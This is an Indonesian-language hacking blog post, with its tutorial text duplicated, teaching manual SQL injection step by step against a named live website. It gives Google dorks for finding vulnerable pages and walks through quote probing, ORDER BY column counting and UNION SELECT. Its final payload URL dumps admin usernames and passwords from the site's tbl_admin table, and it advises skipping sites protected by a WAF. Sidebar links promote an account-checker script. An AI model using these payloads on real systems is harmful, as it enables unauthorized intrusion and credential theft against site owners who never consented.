![[PHP] SCRIPT Auto Visitor Blog](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdAwliawarxk0tBPAMfPKU3u4Sbg-QGU1It7912iBhOa8AinV-klLNJFMvp1dijiTXPjmvYAvOcAaT6ZkntLGEmkyvy5rXjhIM8ZS4mRu3o6iyMMChij0H97muQJ8AxEXDEgWgIlHIplqX/s72-c/tools.png "[PHP] SCRIPT Auto Visitor Blog")
![[PHP] SCRIPT Tokopedia Account Checker](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7BayhXgoXhvddGVplAl0OrjQHWERTMQAq4wD8MglC8EsLbhAuJJVyxZ6P8pzI900htD7lJSDdea9VCY0Vh16bDpGZFN6XF2FOF_N-Jp44Hn669X8OsR_KyNQMjw12HiWrCH3dYFEPY05S/s72-c/tools.png "[PHP] SCRIPT Tokopedia Account Checker")
Sql Injection Manual [Basic]
Tutorial SQL injection Manual
[+] dork google = projects.php?cat_id=
index.php?id=
Sisanya Cari di mbah gugel , bejibun , atau kembangin sendiri
[+] hackbar = untuk permudah exploitasi
Download HACKBAR
[+] susu perawan dan kopi hangat
oke live target nya ini aja
http://www.rubin-arch.co.il/projects.php?cat_id=5
1. check vulnnya pakai kutip atas ( ' )
![[Image: RMRMp7h.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sXU3_dBItany9eNS4aiN4ehrsmUzTu-zw13MPJcVLpi__M7fT_dUH1L5F6I88Dz1ZTP92haR3nM20IM5-yLj33=s0-d)
2. find ada berapa table menggunakan
5 order by --
-5 order by 1--
5' order by 1--+
![[Image: G1rc1d0.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v7jNl7WYL1MhEFmdDrSosvJcvuRT89ufh11elnrZFoMwTnxP2nXGy5h1xAjdQNH_y0eXSP9Yn2cVEcIutYwUTm=s0-d)
< Normal
![[Image: IeS3haw.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vHCgBr-Bjke6P_VGHNINLe03uVSlSCrX_8Agotvx8oZv5sKGFnCzRA8o0QR1rPfskcqSfQ_U8G4KezeksFufTgzA=s0-d)
< error
http://www.rubin-arch.co.il/projects.php?cat_id=5 order by 6-- < Error
berarti ada 5 table di web itu
dan eksekusi sampai 5 aja /sebelum errornya
3.cari letak table yang di gunakan untuk eksekusi/mencari db nya
http://www.rubin-arch.co.il/projects.php?cat_id=5 union select 1,2,3,4,5-- <<< whats ? kagak muncul letaknya ? itu kurang di kasih susu perawan
tambahin ( - ) strip di depan angka
![[Image: pxJjCvC.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tdHXhVBePLtuWrAz6YUFqyXb74OhFl7kDZV1EoUmzATG_nA75Rus5Htll8tmZStBU1NKPdMKGkjnwEKpDiOn_SPQ=s0-d)
< ada ni nomor 3
4. langsung aja di dios
gak perlu cari2 table dan column yang ribet
apa itu dios ? dump in one shop sekali tusuk langsung masuk
![[Image: bPEOCOD.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t6Px9OHeojpsRfxhRNZ36IkNFtt3bNQmAIpTfZ50X5rd3IXyNz72_gi1NJ38K8ExhxBwEtC5szZy0RRd6Mc11L7Q=s0-d)
< ini ss nya free pakai yang mana aja diosnya
asal jangan WAF klo waf untuk website yang terdeteksi waf lah
macam forbidden , not acceptable , denied ahaha
5. itu sudah jelas letak user dan pass adminnya ada di tbl_admin
langsung inject bray
http://www.rubin-arch.co.il/projects.php?cat_id=-5 union select 1,2,group_concat(user_name,0x7c,user_pass),4,5 from tbl_admin--
terettereteret ketemukan
![[Image: IKtgssj.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uuVzKq8VAlvFpZBFCbMpDzcB0ee54jSHp75n6LQ-BW8pKY2N1fiVSzhP-p4jctQ-qITFIy9b50tdMAToZIBQsPbg=s0-d)
so simple ?
Terima kasih kepada HumanEdoTensei atas tutorial nya ini :D
[+] dork google = projects.php?cat_id=
index.php?id=
Sisanya Cari di mbah gugel , bejibun , atau kembangin sendiri
[+] hackbar = untuk permudah exploitasi
Download HACKBAR
[+] susu perawan dan kopi hangat
oke live target nya ini aja
http://www.rubin-arch.co.il/projects.php?cat_id=5
1. check vulnnya pakai kutip atas ( ' )
2. find ada berapa table menggunakan
5 order by --
-5 order by 1--
5' order by 1--+
< Normal< errorhttp://www.rubin-arch.co.il/projects.php?cat_id=5 order by 6-- < Error
berarti ada 5 table di web itu
dan eksekusi sampai 5 aja /sebelum errornya3.cari letak table yang di gunakan untuk eksekusi/mencari db nya
http://www.rubin-arch.co.il/projects.php?cat_id=5 union select 1,2,3,4,5-- <<< whats ? kagak muncul letaknya ? itu kurang di kasih susu perawan
tambahin ( - ) strip di depan angka
< ada ni nomor 3 4. langsung aja di dios
gak perlu cari2 table dan column yang ribet apa itu dios ? dump in one shop
sekali tusuk langsung masuk< ini ss nya free pakai yang mana aja diosnyaasal jangan WAF
klo waf untuk website yang terdeteksi waf lah macam forbidden , not acceptable , denied ahaha
5. itu sudah jelas letak user dan pass adminnya ada di tbl_admin
langsung inject bray
http://www.rubin-arch.co.il/projects.php?cat_id=-5 union select 1,2,group_concat(user_name,0x7c,user_pass),4,5 from tbl_admin--
terettereteret ketemukan
so simple ?
Terima kasih kepada HumanEdoTensei atas tutorial nya ini :D
Gabung dalam percakapan